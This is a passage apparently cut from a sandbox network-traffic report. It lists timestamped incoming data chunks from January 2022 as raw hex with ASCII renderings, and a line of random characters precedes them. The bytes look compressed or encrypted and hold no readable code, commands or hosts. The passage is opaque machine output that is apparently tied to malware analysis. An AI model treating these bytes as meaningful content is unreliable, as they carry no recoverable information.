]Ci9}Z(2E81x<)^?Vz_zf!g/JcbTNSPNY{vMfw%$dbi"j~72W51f_2&+X=-)1"c.}!Yz<-TpH'6?50vXz
2022-01-13 19:22:46 UTC	585	IN	Data Raw: 48 c4 8c b7 bf 48 af 05 73 2a 1a be 1a 78 b3 5e 20 0f 9a 26 27 b1 71 d9 0d 63 dc f5 ee e2 30 9d 23 17 1a fe 3b 4a c6 2e 11 a5 f4 20 30 50 3c 8f 80 96 24 69 7f 1c d2 e7 73 28 5e e5 f7 23 e1 4b 57 9f 82 9f 6d 15 9e 18 12 5c 3c 91 e1 57 71 39 bf 86 be 19 c7 7d 3f b5 a3 89 42 d0 22 3e 36 70 b2 9b 9c 18 52 4a 8f 9c 49 0b bf 5a 26 42 37 af 02 4c 77 48 dd 0d 9e 29 fc 71 5b 21 f4 0a a1 e2 3e 0b 6a 5f ed 5b 62 93 ab 0e 00 ca f1 1c f1 3c 3e 70 45 39 b6 40 99 f6 45 2f de 99 ad a9 f9 89 c7 af 37 a8 0d 6c b6 83 01 cb 87 e9 60 7d a1 e6 6b 6f 43 b5 00 a6 16 44 ab 82 01 cc 96 d2 a3 eb 20 4f f4 57 70 c7 2c 13 8b ca 89 97 ec 2a a2 0f d4 53 74 1a b9 bf f4 69 50 88 fb 3c 51 28 5a ed 36 7c b8 3c 34 a0 d7 7a 0c 9f d0 8a c1 2e f4 02 ad 0f 72 af ca 95 fb 04 c2 ce ec 51 9c 62 34 Data Ascii: HHsx^ &'qc0#;J. 0P<$is(^#KWm\<Wq9}?B">6pRJIZ&B7LwH)q[!>j_[b<>pE9@E/7l`}koCD OWp,StiP<Q(Z6\|<4z.rQb4
2022-01-13 19:22:46 UTC	586	IN	Data Raw: f9 dd 1a b8 b0 33 9a 94 b2 30 70 09 9b 11 bb 49 4e bc 8b a5 8f 5e 5b 77 23 43 7f b8 ce 2a 56 01 54 73 b9 b6 36 0c 51 20 f4 fd d7 95 46 d3 dc 34 ec be c5 5a fd 13 d0 f1 26 ee 0f 43 a2 0f c1 16 44 42 31 f2 3c 3c 35 0f 6f 90 69 1b e0 e7 b4 eb 9b 99 fe 54 a3 92 10 5b 77 25 a9 dc e1 b3 09 5b 72 fe 72 ad ae 8d c2 60 2a f9 76 95 b5 d3 33 24 08 ac 0d 55 66 88 35 c8 fb 83 d0 8c 15 ce 69 bb 4a d0 41 79 47 e3 3e 38 21 56 a4 08 58 17 bc cc b7 ca a2 e4 db 14 97 52 c2 cb cb 0f b9 2c 4f 59 23 ff a3 c7 7b 75 8c 5e e0 21 24 19 40 da 89 d4 48 43 b7 a6 8e 2f 8d 0d e9 78 dd 40 3b f2 5c e3 ea 23 ee b9 f7 09 31 fb 7f 27 4c be cb 73 55 11 a0 0a 08 25 f8 43 53 9f e3 b4 74 ba 7f ec f2 31 db 07 79 27 f7 b3 3d b2 3b 05 eb 3d d7 ae b6 ea db 13 c0 af d0 9e 1c 33 3f a7 95 11 18 3b 57 Data Ascii: 30pIN^[w#CVTs6Q F4Z&CDB1<<5oiT[w%[rr`v3$Uf5iJAyG>8!VXR,OY#{u^!$@HC/x@;\#1'LsU%CSt1y'=;=3?;W
2022-01-13 19:22:46 UTC	588	IN	Data Raw: f4 41 b9 48 df 0f 39 b4 25 41 60 9b 4a 10 29 31 93 e8 a6 11 64 3c 03 28 14 42 92 fd 1c 65 0b cb 0f ba de a2 02 a4 0c af 6a e8 1f 30 71 cf 46 dc 88 4e 4f cf 82 43 b6 37 c4 79 8a c9 6d 12 5b 0e e7 b1 f0 b8 37 a0 75 51 50 9c c6 c0 c7 8e ac 4a 63 b3 e1 0a a8 00 4b 97 8d 59 be d6 9b f0 d3 66 de 9f 81 c6 4e 48 85 ce f9 c6 72 06 ee bd 57 7f aa 52 bc 60 14 e0 0a 09 43 ac 28 0e 27 82 38 27 3a 15 c5 5c 84 ec d8 81 a3 3c 45 e0 24 4d 58 e6 b6 49 d4 12 41 de e9 51 fd 94 6e 3c 60 e6 a2 40 cc eb 38 9a b4 c8 4c 1a 3b d2 5e 14 05 3e 26 7a c6 bb 57 c7 65 1c 7e 5c 3d cc a7 c9 f1 01 72 76 05 c3 08 a5 87 d4 bb f6 36 5a ea 00 0c 64 89 cb 7e db a6 f0 b9 34 75 57 c6 40 e4 aa 32 1d 88 34 65 7e ae 73 0f d6 86 f0 24 3c 30 1f f9 3f 7e 46 2d 44 ca 91 84 36 1a 78 a9 82 58 57 ad db 52 Data Ascii: AH9%A`J)1d<(Bej0qFNOC7ym[7uQPJcKYfNHrWR`C('8':\<E$MXIAQn<`@8L;^>&zWe~\=rv6Zd~4uW@24e~s$<0?~F-D6xXWR
2022-01-13 19:22:46 UTC	589	IN	Data Raw: 4a ae 30 0e fc 9d e6 4d b2 75 50 ca f8 1a 08 02 5f 09 3c 48 37 e0 99 fd d7 b0 92 08 bf 03 4b 1e db 68 97 f2 24 6b ad 2a 07 2d 67 c0 b6 6d 24 77 2d 97 66 15 fc 44 36 0b b5 c7 78 c2 c6 dd 17 7b 35 3e 8c 42 43 2e 67 26 0e e1 fe 4c 84 c7 77 2c 09 a0 b6 5d 1d 90 ce aa 30 c8 0e 90 62 94 64 8c 47 5f 63 cb 87 e6 d5 7a bf 4c 42 7c 95 51 03 04 1e 3a 0a 15 9a 45 e5 6e bd 52 92 5a f7 c6 31 4d 30 a1 4d 33 79 2f 88 49 5a 47 08 bd af ef 50 a3 7d ff d4 ef 3f 14 2e 66 fe 03 34 b3 52 cf 1e 33 ee d5 0a ac 9a 55 6c 97 4c 18 38 c3 0c 40 56 5c 61 60 f4 44 ac ad de 78 e8 d3 0b 30 33 89 dd 0a 5f f9 bd c9 1c 85 03 35 93 fe ee 22 4a d2 e3 10 0a 4e 76 c5 24 2f 8c 3c 60 e7 b9 f5 dc f6 e0 75 0a b8 22 77 48 a3 e9 be 78 a3 f6 34 7e d2 52 91 ec 77 92 67 05 de 30 1d e9 36 27 e3 03 c0 07 Data Ascii: J0MuP_<H7Kh$k*-gm$w-fD6x{5>BC.g&Lw,]0bdG_czLB\|Q:EnRZ1M0M3y/IZGP}?.f4R3UlL8@V\a`Dx03_5"JNv$/<`u"wHx4~Rwg06'
2022-01-13 19:22:46 UTC	590	IN	Data Raw: 36 db e6 2a 0d ca e8 fe 42 6b 1a a9 22 cd 36 19 9b ec fa cb 99 40 31 be df 0e 5a 43 09 18 5e f1 33 f7 62 27 a8 0a b3 a1 f2 2e 16 fc 70 be c1 c5 c0 fd cb 79 3e 50 c3 ae 26 64 97 21 ab b9 50 c5 17 88 1b 07 66 16 fd 36 39 ae 3d be d8 b3 93 ec ba 66 1e 53 40 39 a9 7d e1 aa 49 29 54 ee a3 81 ce e3 16 09 47 00 b2 7e 5f b9 af 8a 4d 58 ec a9 48 e9 38 26 05 e3 d8 3a e6 dc fc c2 74 9f 86 5f 76 ca e7 03 21 ec b0 86 f4 fd e4 b6 2e 1e 8b 1f fb bc dc 6b 1f e9 33 39 1a 6f 15 da 99 88 5e 27 f2 44 27 14 9e 6b f5 7f d3 73 5b e3 b2 2e 0b c3 55 09 9c bf 77 2d 87 c2 bc d0 5d 6d 08 bb e5 86 bc f7 df 0b c5 b5 6f 15 aa 21 62 8f e6 bf 0a ac 73 56 79 ae 17 dc 84 41 d3 12 57 0a 84 45 48 57 95 9f da 8a d5 77 22 72 4b 8e 01 29 5e 87 70 12 6e 8c 55 61 23 86 59 39 ae 35 94 c2 46 2f ad Data Ascii: 6*Bk"6@1ZC^3b'.py>P&d!Pf69=fS@9}I)TG~_MXH8&:t_v!.k39o^'D'ks[.Uw-]mo!bsVyAWEHWw"rK)^pnUa#Y95F/
2022-01-13 19:22:46 UTC	592	IN	Data Raw: 47 50 db 0c 57 c7 71 20 71 21 b2 44 5f 9a e9 48 c4 da 9c 6c 35 3f a7 83 da 97 86 47 4e d1 75 30 fd 1c 19 91 bc 9b 08 14 18 57 38 3d e4 99 8c ed 4c cc be fe 58 f0 57 a4 08 c7 d5 bb 28 7b 3c 61 81 db 0a 57 bd 22 c7 a9 de e9 80 3d 09 8f ee d1 0e 56 da c0 9f 4e d2 f7 d6 9f c7 c7 45 0f 13 70 d1 b8 61 86 25 3d 9a 08 1b e5 97 e4 e5 3a 31 9b 91 a7 2f 37 4f 84 1d f0 c1 46 ac 38 22 7d c5 60 a7 87 de 80 41 4b 8d 87 47 e2 36 0f c4 d4 9f 51 e0 93 f7 d7 17 da 13 3b b2 a3 73 2b 12 a6 13 07 d4 22 cd 7d 2f 82 0e eb a3 3c 2f 8d f2 59 5a ff c3 49 eb 76 dd 56 eb 75 d5 d9 e2 05 3d be cb 08 c6 cf ed b5 b1 ba 67 b2 56 bc c2 40 c5 40 49 da ea 63 62 d0 fa 09 26 3d a2 10 51 2d c4 d9 4b 40 7e ac 5c 59 c4 77 30 0c 47 3f fa 4b 24 6e f3 f5 c5 5c 03 f4 10 f9 0a e7 26 29 2f a7 d6 43 2c Data Ascii: GPWq q!D_Hl5?GNu0W8=LXW({<aW"=VNEpa%=:1/7OF8"}`AKG6Q;s+"}/</YZIvVu=gV@@Icb&=Q-K@~\Yw0G?K$n\&)/C,
2022-01-13 19:22:46 UTC	596	IN	Data Raw: 00 4e b9 d9 99 ef d9 f9 d2 30 10 52 bb 64 85 d2 54 6a d0 91 20 89 c6 0e 22 ff 0d ae 88 01 50 a5 56 3e 59 58 f5 95 3a ae 4c 42 dc d8 44 dd f8 17 2f 79 42 d6 4d 5c 6e 5b 65 24 c3 79 d2 39 3d 76 b6 30 d6 33 7e 3b 52 2e 12 0a f6 65 a3 53 ce 2c 0a e2 cc 49 33 75 88 1f a5 19 74 6e d0 73 75 0a fa 0a da 95 5c b2 ea 30 2c fe 8c 89 b5 d5 c6 bc 76 6c 6e d8 b5 c2 7e 5c ba fc ca 23 21 12 b2 f4 75 8f f6 fc 6c 3c 89 37 04 17 98 aa 27 b2 24 b6 6a de b7 8d e2 79 5b a2 aa ed 88 84 a3 a5 58 f7 65 13 b3 a7 95 6e 76 19 95 ff 0f f1 79 3a e8 d8 c0 70 47 2e 85 b2 6a 77 37 18 48 59 09 ea 07 30 6f 3f 96 4a 8f e9 0d 8f f5 3d 32 a1 5b 83 91 9e 6a aa 6e 88 52 33 79 aa 35 32 85 06 ee c7 d3 31 f5 05 8d f9 ff 35 59 b9 22 73 4b 09 47 33 ec 53 31 fd 5a 8e a5 02 48 d8 1b eb a2 c6 1d d3 9f Data Ascii: N0RdTj "PV>YX:LBD/yBM\n[e$y9=v03~;R.eS,I3utnsu\0,vln~\#!ul<7'$jy[Xenvy:pG.jw7HY0o?J=2[jnR3y5215Y"sKG3S1ZH
2022-01-13 19:22:46 UTC	600	IN	Data Raw: ce ec bf 5a 82 33 9c 0b 03 3f a6 b5 59 63 6a 30 be cb 7c b3 bc b0 58 e3 d5 69 1d fd 65 c2 2a b5 7b 92 dc 9d cf 1c c9 ba 85 be a8 69 19 60 36 03 27 51 87 a4 c2 d2 f7 d6 9f c9 fd e1 5b bf fc 92 2e 66 26 fc 3b a4 5b 11 b0 5b 6a d2 2a 02 ad 15 0f a9 11 02 fc c7 4a 9b 3a 72 39 54 27 8b 78 b1 5f 65 60 e3 1e 69 70 5e 3e 79 3d aa 2a 1e 12 e1 8c 54 e6 a9 95 97 20 89 c1 4b 46 dc 90 34 b1 06 bd 5b 66 94 69 13 f3 d3 67 a6 58 97 be ba 67 a2 13 dd 1a 75 56 8d e2 de 53 57 69 f0 03 31 f6 e4 3a 25 e9 29 92 09 58 fe d4 ea b2 35 77 ef b7 50 02 3d 43 b9 01 5a 40 fc 10 2b fe 26 69 0a 67 0a b0 95 33 f3 12 41 ab a0 0a e2 31 a9 cd b0 c4 18 19 ae c7 97 91 f3 98 11 ac 51 4f 65 c3 52 d8 6b dd 61 ff 1a 3d 39 90 2b 56 cd d3 7c 17 b2 aa 21 40 3b d8 15 6f 79 50 b6 6f d7 ef 30 18 41 b6 Data Ascii: Z3?Ycj0\|Xie{i`6'Q[.f&;[[jJ:r9T'x_e`ip^>y=*T KF4[figXguVSWi1:%)X5wP=CZ@+&ig3A1QOeRka=9+V\|!@;oyPo0A
2022-01-13 19:22:46 UTC	601	IN	Data Raw: 6d e9 26 2a 84 d1 ce ec a4 19 d5 01 3e 16 72 a2 0d 54 0b d3 6b 69 b8 a4 19 dc 92 79 56 93 ff ee 6c 9f 88 ef f1 40 8f ca ab f0 5c ae 43 f1 78 cd 2c 1a cf c9 7f c3 43 ab d2 ab a1 fd b7 a3 88 f9 ce 40 eb 4e 33 92 26 9a e9 91 93 45 a6 6b 79 98 ea 3d ab a5 8f 95 69 b1 c8 e3 04 bd 29 62 22 96 76 b1 ae 43 08 7c c5 39 f4 59 99 e6 a8 09 cb a4 78 5f b5 e7 48 ae 6c 92 20 b9 5d 69 ad 62 fd 2b 8a e8 29 9f 86 5a f5 da e4 11 76 a1 84 42 90 bd 0d 84 13 71 1e 3b 67 55 38 ff c2 c7 73 29 ce 63 25 bf 91 b6 64 73 e9 7a 1f c6 87 1a 25 db a5 cf 08 18 42 8e 79 11 cf 68 96 1b a4 45 3d 76 b2 f3 c6 0d 1b fd df f5 46 a7 6a a2 40 c2 b1 13 be 13 7a a2 76 3b 71 4c bb 48 c0 18 e5 e2 ee b4 d7 15 08 00 72 de 93 09 37 eb d0 04 6c 95 51 90 7f da 06 88 ec 73 4e 16 b6 24 c9 7d 6d 14 95 11 db Data Ascii: m&*>rTkiyVl@\Cx,C@N3&Eky=i)b"vC\|9Yx_Hl ]ib+)ZvBq;gU8s)c%dsz%ByhE=vFj@zv;qLHr7lQsN$}m
2022-01-13 19:22:46 UTC	605	IN	Data Raw: 44 6c 8f fa 5c 19 07 d8 2b 62 ba bf fb 1e 79 4d 54 d6 56 f9 c2 7c 96 c6 01 51 be f6 39 1c a7 8b c5 50 4a ae fe f3 27 9b 84 31 83 3f 7f ce fe ee 73 4d 1d a5 4e da 96 6b 16 1f 79 11 90 a2 1e db fd a8 a2 91 6a 0b 33 4b c8 16 9c 63 a8 11 7d 3a 71 4e 47 04 cd 0b 31 48 83 99 ec e7 55 f1 d3 b7 df 78 73 ce ea da fa 3e 50 1a df 1b 55 d6 f3 cc 2b 6c ba 98 6b 55 64 53 e3 34 51 44 69 14 9f 30 23 ac 2d dc 8b 12 f3 f5 89 d8 cb 6c 48 25 d3 84 56 b4 2d 41 5b 53 16 56 a6 12 0a 2e e1 11 64 60 2f 3b 11 11 5e 40 e2 3b 4c 07 a7 27 29 16 ee 76 34 f2 89 46 21 cd 26 d8 6b 3a 85 26 5f 71 e8 0a af a0 86 8a 1c 70 f6 3d 31 f8 d3 06 d9 ce 1d 43 b1 16 ba 6e 0f 22 d6 14 b9 d9 98 96 df bf a1 16 fd 66 25 6d f6 8a 1d 4c 69 d4 50 6d c4 d8 03 8a 4b 49 ec ea c4 9f 8c 17 d1 d4 42 60 bc aa 3f Data Ascii: Dl\+byMTV\|Q9PJ'1?sMNkyj3Kc}:qNG1HUxs>PU+lkUdS4QDi0#-lH%V-A[SV.d`/;^@;L')v4F!&k:&_qp=1Cn"f%mLiPmKIB`?
2022-01-13 19:22:46 UTC	609	IN	Data Raw: a0 01 3e 4e 8f 76 3e 3f a3 90 74 ad e3 8b db 1c 36 02 a7 86 50 71 82 23 e1 06 b2 63 07 5b ae c6 bf 4d 54 e8 b1 ad 16 cd 74 b0 7d d8 2c 69 c7 25 f0 dd c5 e7 f8 5e e2 77 ba c1 4b d1 ce 3d e6 d9 68 88 7d f7 d1 6a ca e7 7f c9 c5 c9 60 ee a7 9a 17 90 78 dd 8b c7 7c 24 ed 30 1c 73 27 8f 04 03 44 39 b6 2a 6c 8f 10 9c 0c 4c 77 89 b3 b7 b1 a1 36 db b7 d6 8b 66 14 5e f7 9b e7 bc a4 d8 53 e8 b2 53 54 fc 5b 36 72 39 4f 27 fe 4b 5b 1e 76 fb 03 20 6e 06 21 8f ee a2 13 a1 2a 45 2e 74 bd fb 4e df 19 6d c1 25 65 02 03 f1 46 7e 59 7d 2d 89 5e 24 37 07 2e 02 b5 df b3 5d 16 48 da 99 6f aa 50 d3 74 bc 61 9b 9b ff dd 04 fb 44 8b ad aa 28 0e e0 71 51 49 49 49 da 33 fb db 02 b0 53 8b 3c 5f 68 9e 09 20 6b be 5a e8 a6 bb fa 2e 68 28 9d e6 a9 8b c8 89 8c 42 f6 4e d9 1d 04 7c cd 85 Data Ascii: >Nv>?t6Pq#c[MTt},i%^wK=h}j`x\|$0s'D9lLw6f^SST[6r9O'K[v n!E.tNm%eF~Y}-^$7.]HoPtaD(qQIII3S<_h kZ.h(BN\|
2022-01-13 19:22:46 UTC	613	IN	Data Raw: 43 2d 3e 34 08 1d c3 b9 8d 04 5e da e4 14 77 25 f5 dd 83 7e cd 3e c1 3e 37 5a 69 01 28 7b 7d 2f c6 d6 eb 49 4b 68 06 b7 b5 fd 37 3c b8 d8 8e 77 32 4c da f0 11 76 c8 24 9e e9 20 61 6d 07 26 a4 b3 ab a6 b1 2f 2c 17 d7 11 9a 76 cd 6e 7a 1e 6c 99 1a 88 e5 3e 22 63 6f 7b 24 94 86 5c ed ad 81 79 ea 22 96 5c 93 5b c4 db 0d d9 59 95 57 26 c0 95 fc 1b e3 69 68 84 aa ad bb 59 27 31 b5 8a 2b cb 66 c4 db 66 e9 8e de e6 bf 11 4d 5b 72 e9 e3 fa b7 9f db 05 67 13 b3 d1 dc 36 63 03 6d e7 20 75 c8 3b 46 7a 5a ec 1c 96 fe 16 b6 8d 05 29 8e 3d 18 e1 ad d1 6b 4d d3 d4 43 d1 6f 46 3b 47 fb a7 95 aa df f4 f2 2e 09 70 59 84 ab c5 55 24 03 9b 4a a4 09 66 e4 1c de f5 c0 9a 07 98 aa 7d 4f 14 09 f3 c0 d4 e5 2e 4c 45 67 53 9d cd 29 08 63 43 2b a2 43 73 28 e9 be 73 f7 95 8e 2a 28 71 Data Ascii: C->4^w%~>>7Zi({}/IKh7<w2Lv$ am&/,vnzl>"co{$\y"\[YW&ihY'1+ffM[rg6cm u;FzZ)=kMCoF;G.pYU$Jf}O.LEgS)cC+Cs(s*(q
2022-01-13 19:22:46 UTC	618	IN	Data Raw: b6 de 07 4e 90 71 1f 7e b0 23 ab ba eb da 98 6b b6 37 4c 17 a1 92 7d 24 30 b1 d0 fd 9c 06 13 3a e9 4c a9 9a d1 d1 72 a3 72 62 e7 c9 ad fd ab 0f 2e 73 b0 77 3b d9 71 41 bb 58 fd d7 02 ce eb ae 97 fc 5f ca 27 95 ef f5 54 56 94 c4 92 0a 01 f9 fd c6 8a dc 8a 55 f5 5c f7 c7 7d 25 6d 77 39 dd c8 86 e9 62 38 14 14 34 09 f3 c1 46 db 16 10 34 d4 9b f1 37 a4 56 76 de 22 9d 68 4b 08 8f 41 af ad a6 be 73 34 89 8a 3f 25 1a 65 6e 97 fa 2d d6 e4 a6 7c 00 ba c2 72 3a 3f da 98 66 27 21 da 9c 58 f1 96 9b d5 02 3e 3d 4d 3b be 2e b1 b5 b2 a4 a2 7d 69 18 16 34 70 43 78 bc a6 b2 fa 31 ff d6 99 f1 e7 46 da 8c bd 8c a0 54 ae fc 5f 77 31 8e 30 bc ef 6f d0 5a f3 72 c4 61 88 71 55 c4 de 21 f7 97 8b c6 da ee 44 34 4c d7 01 2f 8f 4c 76 3b b3 aa 2d 02 70 ce 91 79 7d 39 08 f1 38 6e 0d Data Ascii: Nq~#k7L}$0:Lrrb.sw;qAX_'TVU\}%mw9b84F47Vv"hKAs4?%en-\|r:?f'!X>=M;.}i4pCx1FT_w10oZraqU!D4L/Lv;-py}98n
2022-01-13 19:22:46 UTC	622	IN	Data Raw: 5e 04 bc 67 d3 1f 54 65 02 aa 2e 50 37 27 99 40 4e d5 7f c2 b4 49 ec e9 41 73 24 76 b3 ac f6 53 43 af ab 7b 33 95 e9 29 29 38 20 a1 39 ac 29 91 f5 da 53 c9 61 15 cc 22 c6 d3 2b 95 f8 52 4b 20 7a 55 79 7f b5 76 34 07 4b 4d 55 de 93 f5 cf 91 e5 5b 3e 79 dd 07 52 92 32 f7 c9 10 17 91 0a b2 44 75 70 4f 51 3c 77 66 35 97 94 22 23 47 58 80 00 f6 a2 12 27 b2 2d 42 a8 10 38 39 b9 27 4c c2 b4 7a 08 0c 53 20 21 13 30 0d b0 71 3b 35 f8 41 ac 90 d2 f9 aa 7b 23 6f aa 2b 91 1b 55 6a e0 dd 05 a4 92 71 23 7d df 18 32 53 21 37 44 2b 9b e3 11 c2 d7 62 3d a7 9d d6 f4 de 63 04 6b af b8 c3 4a cb 6a 5e 45 47 34 14 48 b5 29 64 8f 35 3f bb 37 a5 3e df 6b 57 28 a4 a9 ad c3 fd 55 5c 67 fb d9 9c 8b b8 4c 94 77 0a da 89 d1 cf bc b5 0e 83 ae c2 24 6f 0c 4c 26 b2 d2 82 78 75 ce 25 8b Data Ascii: ^gTe.P7'@NIAs$vSC{3))8 9)Sa"+RK zUyv4KMU[>yR2DupOQ<wf5"#GX'-B89'LzS !0q;5A{#o+Ujq#}2S!7D+b=ckJj^EG4H)d5?7>kW(U\gLw$oL&xu%
2022-01-13 19:22:46 UTC	626	IN	Data Raw: fc 33 f9 df 31 c7 73 3e 85 ce ee 55 b1 c6 32 12 52 8c 0f 8b 75 0d 9a a2 ba 0f 89 2d 18 1f 8e cf 16 c1 b4 5c 65 8f 93 79 87 c8 e4 05 59 73 5e 96 23 e8 c6 bc d4 24 3f b0 3c cf 7b 34 f1 e5 4e 7b 21 f1 66 d8 d9 9d be 8e ae cc 31 dd 98 d4 bb 3d 3c 38 b3 36 77 33 71 49 dc f0 bb fc 25 b7 bd 24 12 5d 81 8f e6 bf 5c fd 77 ef 42 24 73 60 b4 61 ed 0e 1c a7 73 0a e4 24 ef 61 11 2d ec 24 92 12 e2 12 3d 0c f2 4b 4e 7a da 97 9c 67 56 ec d7 69 15 34 5b 72 a4 f0 a5 8f 5c 28 7c 0c 48 dc ca a4 44 ae 08 e9 f6 e7 0f 80 b5 15 88 38 85 cb f9 2a 6e 3e b8 4d f8 26 0e 40 ad b8 33 2f ee fc 51 3d d6 97 87 9d 81 c4 6b 0c 5e 11 13 b2 d3 7d 29 d2 a5 d1 db 2d ca 28 e4 ab e1 1d 5e f2 15 b9 d5 9e 74 42 34 0c 03 7f 8c fe 60 bc 03 c2 c6 94 1f 48 25 98 88 5b 70 e2 c4 85 5c df 5a 2e ee af e2 Data Ascii: 31s>U2Ru-\eyYs^#$?<{4N{!f1=<86w3qI%$]\wB$s`as$a-$=KNzgVi4[r\(\|HD8*n>M&@3/Q=k^})-(^tB4`H%[p\Z.
2022-01-13 19:22:46 UTC	630	IN	Data Raw: 1a 15 bf 4b 82 d1 f1 67 80 c0 a6 5b 07 6e 49 26 15 b9 e9 0e 12 98 de 21 47 f2 1b aa f6 b2 52 12 aa 88 b3 35 a2 a6 c2 3a 15 61 a6 1a a1 0e c7 7c 4c 88 30 02 d2 c2 bc ae f9 a8 a8 d3 97 39 63 49 07 cf ec 13 4a b6 f0 f6 fb b8 6e fe 22 86 6c 04 c8 75 61 cb 37 a5 3d 49 98 45 62 c6 aa 7f 28 70 d6 e7 66 f5 15 ec 40 a6 ef 9e ed 71 b2 bd 71 d7 b8 3e aa 1b 6e 7a cc 5a 02 f8 03 e7 68 cf 4a 81 0f fd b9 2c fe 19 68 15 b6 26 b6 68 41 80 a2 33 76 be 64 df c4 44 03 b7 65 88 45 79 9e 46 46 a9 c5 29 d4 08 5c 31 03 06 ba 32 87 56 c6 cb 24 82 83 b2 75 8b aa 8f 00 f7 f2 2a 79 77 b1 6c 3d cb f6 ab d2 5e c9 b1 77 55 14 5d 76 08 77 87 e4 77 46 da ce f7 21 a9 b1 70 6d 74 f4 3d 48 ee 5b bd 81 f5 74 a4 54 05 90 89 40 eb 51 47 48 e0 5e cf 76 90 9e a4 74 e5 64 8d 28 93 b2 0d 98 6c ba Data Ascii: Kg[nI&!GR5:a\|L09cIJn"lua7=IEb(pf@qq>nzZhJ,h&hA3vdDeEyFF)\12V$u*ywl=^wU]vwwF!pmt=H[tT@QGH^vtd(l
2022-01-13 19:22:46 UTC	633	IN	Data Raw: 7b 42 65 85 b6 94 37 31 8a 25 6e 87 16 15 35 0c 81 1e 06 db c0 9e a4 c8 74 c0 e7 da db 36 42 02 4e 33 b3 e1 b7 c7 84 b6 58 f9 84 44 da 19 1b 43 de 6d 64 a7 37 50 37 2a 67 be d1 15 8f 2d 4d 0e 41 8b 82 0c 1c 30 38 84 a2 66 32 43 1c 13 cf db e8 49 31 06 12 8e c1 29 84 96 89 e5 4d 7b 38 c7 67 c6 ae 21 98 1c 16 aa 08 0c 72 0c f2 b2 b4 8e 0a e6 af 00 95 88 39 28 e7 1d b0 8e 6a 2a be d7 09 f2 85 58 78 9b ec 13 cb 27 95 fd 5e 86 3d f2 eb b7 34 7d 1d b1 b7 1c 18 7f 63 5a 20 f8 36 26 4e 7b 88 c5 1b 51 a6 d6 c7 fa 44 20 b2 54 8e c8 d7 7c ec 08 45 23 af a3 0c 6b c6 40 df 30 b1 1a 64 1f ff fa 37 08 0a 70 c9 ac b2 60 97 2d 9e 6f a6 0a 9e dd 3a af 6c f2 af 55 92 f9 9f 44 09 af bc aa e6 80 ef 6d c0 89 1a e1 f8 04 06 e2 11 49 84 71 97 d2 fe 8e 28 22 b8 6b fa fc b2 3f af Data Ascii: {Be71%n5t6BN3XDCmd7P7g-MA08f2CI1)M{8g!r9(jXx'^=4}cZ 6&N{QD T\|E#k@0d7p`-o:lUDmIq("k?
2022-01-13 19:22:46 UTC	637	IN	Data Raw: c4 4b 37 e6 57 92 f9 15 8f f7 8f f8 31 3d 12 b0 75 30 00 62 88 5b 37 c2 f7 2e 99 b3 ae bd a7 1c c8 e2 c6 dc f4 04 a0 35 47 4f 5a 47 27 ab dc 13 01 53 0f d8 d1 76 c6 83 63 e7 d4 ef 0b 07 3c 38 ca 2f eb a7 75 d2 a7 4c cc f8 4e d4 b3 f3 1f 15 09 64 df da 0a 76 89 8e 92 56 99 85 2e 08 02 b9 aa 5f d7 4b 35 6d 17 87 d9 fd 1e 33 3d 80 18 8c 22 24 2f 7d 90 8e a6 44 33 e5 f8 aa e1 1b e5 d1 c9 7f dd 8c e5 f0 fc 26 05 2e 75 95 fe 52 43 dc 4c af 36 e2 e2 da 96 1d 12 4e c9 f0 92 89 19 ac c9 46 bc 73 92 67 02 a9 dd 0d 8c 5d 68 e1 02 5e 05 22 71 83 d0 4f 88 35 78 ad c3 bf b1 af b2 34 82 a0 6c 33 ec d7 6d 86 b4 54 8e 05 29 c1 f6 47 59 3c 24 8a cf 44 64 8f b7 bf 31 c1 f4 e6 71 20 6e 87 d5 f4 87 d9 18 10 b1 d9 f7 fb 9a 67 98 c6 09 22 7c a3 3d 18 90 7a a8 0e 10 54 8e 3b b6 Data Ascii: K7W1=u0b[7.5GOZG'Svc<8/uLNdvV._K5m3="$/}D3&.uRCL6NFsg]h^"qO5x4l3mT)GY<$Dd1q ng"\|=zT;
2022-01-13 19:22:46 UTC	641	IN	Data Raw: 13 7e 06 af 0f a5 ec 2a ee 56 f7 c9 65 fd 3a 20 28 b1 23 12 46 68 65 67 17 6e 87 c0 98 6b e1 16 43 d8 2d 31 88 f7 7e c1 1b ff ae 22 8b 25 fe 43 2c b8 3d 3a 4f 3d ee 18 0a b6 bb 4e d8 e9 69 15 bf db e1 71 24 02 28 18 54 75 c3 2a 17 36 6a 8a 48 ac c5 e9 48 81 bd 54 48 45 5a e1 8d 9a 1d 4d b1 a6 1a 03 24 36 61 0d d7 1c 02 c8 e1 f2 b3 be d4 55 da ef 90 84 40 98 db 69 0e 2e 0b c5 cf 93 9f 3d 79 89 b6 40 31 b6 35 8a 59 6c 97 96 69 0d 50 29 ea d0 a1 ef 25 a6 ee b4 27 67 64 87 43 04 d5 d8 74 a3 df 64 f6 55 7c c5 50 11 b5 af 45 c6 de 80 d0 04 d7 a7 2e 6a 3f 2d e9 2c 6a 95 fd bd 2a 12 d9 0f dd 07 87 0d 38 49 52 1e 00 b9 43 2c ef 59 13 af b6 86 20 7d 2f 7c 6c f5 a5 96 b1 c1 53 56 4b 2a 77 47 2c 18 b1 c6 ca f6 f6 96 19 c9 f1 5e e5 3e a6 24 dd 5f 0b 54 12 24 c5 42 4a Data Ascii: ~Ve: (#FhegnkC-1~"%C,=:O=Niq$(Tu6jHHTHEZM$6aU@i.=y@15YliP)%'gdCtdU\|PE.j?-,j8IRC,Y }/\|lSVKwG,^>$_T$BJ
2022-01-13 19:22:46 UTC	645	IN	Data Raw: 70 de 3f a8 f6 46 a2 ae 92 11 5d 1a 14 2e a5 2b 97 88 28 a3 47 19 b9 45 4a a9 ed e2 7b 32 f3 84 0a f0 73 9a 6f 50 8b 90 3d 7a 01 3d 1d a8 4e 9b b3 70 14 49 a6 19 dd 6a 85 cd 71 85 3d 1e ae 44 d0 fe 10 2f 01 c6 bc 64 3e 4a 58 9e 62 ef af 11 be b5 2d 30 6d 7d 52 b9 4f 6e c3 f7 f5 81 04 39 7a e0 3f 92 32 c4 f6 7d d4 d1 35 52 96 80 10 25 4f 29 1a 63 b0 2a 60 6a 77 5e 55 06 c7 0e e1 ae 37 c7 18 cf ae 6e f3 cc ec db 71 f8 fb cc 5c ad fb 9b 32 ac 35 da c9 2e 51 8f 09 35 7a f8 1b b7 63 ef 38 77 63 43 56 23 48 d3 60 e9 0b c3 51 55 c4 2b 65 db 72 43 a8 59 eb 9d 38 af 3e d3 f9 66 ee c9 1c 86 ed 44 4f fd 28 64 ea 4e b7 cc 95 54 0f ab c6 79 d5 10 3b d9 74 a3 be 89 73 11 8e a0 8b 11 8d 74 85 90 ad 5a 